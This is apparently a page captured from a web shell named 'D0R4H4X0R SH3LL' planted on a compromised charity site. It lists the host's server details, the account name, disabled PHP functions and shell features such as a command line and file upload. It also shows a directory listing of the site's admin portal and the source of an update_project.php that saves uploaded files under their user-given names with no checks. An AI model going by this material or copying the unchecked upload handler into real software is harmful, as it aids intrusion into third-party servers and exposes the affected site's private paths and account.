D0R4H4X0R SH3LL

Server Information

Server: LiteSpeed
System: Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
User: equalcompa ( 1022 )
PHP Version: 8.2.28
Python Version: Python is not available
Disabled Functions:Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system

Features

Command Line

Find Longest Directory Path

Scan New PHP Files

Upload File

Directory: /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/

Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/update_project.php

<?php 
include('ant.php');
 

// Check the connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
  

// Get the blog ID and old cover image from the request
$blogId = $_POST['project_id'];
$oldCoverImage = $_POST['old_cover_image'];

// Retrieve form data
$title = $_POST['fname'];
$brief = $_POST['phone'];
$paragraphs = json_encode($_POST['paragraphs']);

// Check if a new cover image was uploaded
if (!empty($_FILES['cimage']['name'])) {
    $coverImagePath = 'uploads/' . $_FILES['cimage']['name'];
    move_uploaded_file($_FILES['cimage']['tmp_name'], $coverImagePath);
} else {
    $coverImagePath = $oldCoverImage;
}

// Manage gallery images
$galleryImages = array_filter($_POST['existing_images'] ?? []); // Existing images that are not marked for removal

// Handle newly uploaded gallery images
if (!empty($_FILES['galleryImages']['name'][0])) {
    foreach ($_FILES['galleryImages']['name'] as $key => $name) {
        $filePath = 'uploads/' . $name;
        if (move_uploaded_file($_FILES['galleryImages']['tmp_name'][$key], $filePath)) {
            $galleryImages[] = $filePath;
        }
    }
}

// JSON-encode the gallery images array for storage
$galleryImagesJson = json_encode($galleryImages);

// Update query
$updateQuery = "UPDATE projects SET 
    title = ?, 
    brief = ?, 
    paragraphs = ?, 
    cover_image = ?, 
    gallery_images = ? 
    WHERE id = ?";
$stmt = $conn->prepare($updateQuery);
$stmt->execute([$title, $brief, $paragraphs, $coverImagePath, $galleryImagesJson, $blogId]);

echo json_encode(["status" => "success", "message" => "Project updated successfully"]);
?>
Directory drwxr-xr-x
css DIR
Directory drwxr-xr-x
icons DIR
Directory drwxr-xr-x
images DIR
Directory drwxr-xr-x
js DIR
Directory drwxr-xr-x
uploads DIR
Directory drwxr-xr-x
vendor DIR
Directory drwxr-xr-x
addproj.php 16.670 KB
File -rw-r--r--
addstud.php 16.539 KB
File -rw-r--r--
ant.php 0.714 KB
File -rw-r--r--
certificate.php 5.538 KB
File -rw-r--r--
dashboard.php 12.578 KB
File -rw-r--r--
download.php 12.431 KB
File -rw-r--r--
eproj.php 16.734 KB
File -rw-r--r--
estud.php 16.702 KB
File -rw-r--r--
File -rw-r--r--
form-element.php 109.741 KB
File -rw-r--r--
gen.html 1.176 KB
File -rw-r--r--
gen.php 1.170 KB
File -rw-r--r--
index.php 4.959 KB
File -rw-r--r--
issue.php 12.453 KB
File -rw-r--r--
issuedc.php 11.827 KB
File -rw-r--r--
jquery.min.js 91.442 KB
File -rw-r--r--
logout.php 0.085 KB
File -rw-r--r--
pending.php 11.983 KB
File -rw-r--r--
qr.php 5.052 KB
File -rw-r--r--
qrcode.js 32.391 KB
File -rw-r--r--
qrcode.min.js 19.460 KB
File -rw-r--r--
reset.php 6.757 KB
File -rw-r--r--
save_blog.php 2.091 KB
File -rw-r--r--
save_proj.php 2.097 KB
File -rw-r--r--
sidebar.php 2.344 KB
File -rw-r--r--
table1.php 115.450 KB
File -rw-r--r--
tables.php 208.188 KB
File -rw-r--r--
tick.gif 317.185 KB
File -rw-r--r--
trash.php 13.152 KB
File -rw-r--r--
update_blog.php 1.989 KB
File -rw-r--r--
File -rw-r--r--
vstud.php 12.438 KB
File -rw-r--r--
widget.php 160.418 KB
File -rw-r--r--
D0R4H4X0R SH3LL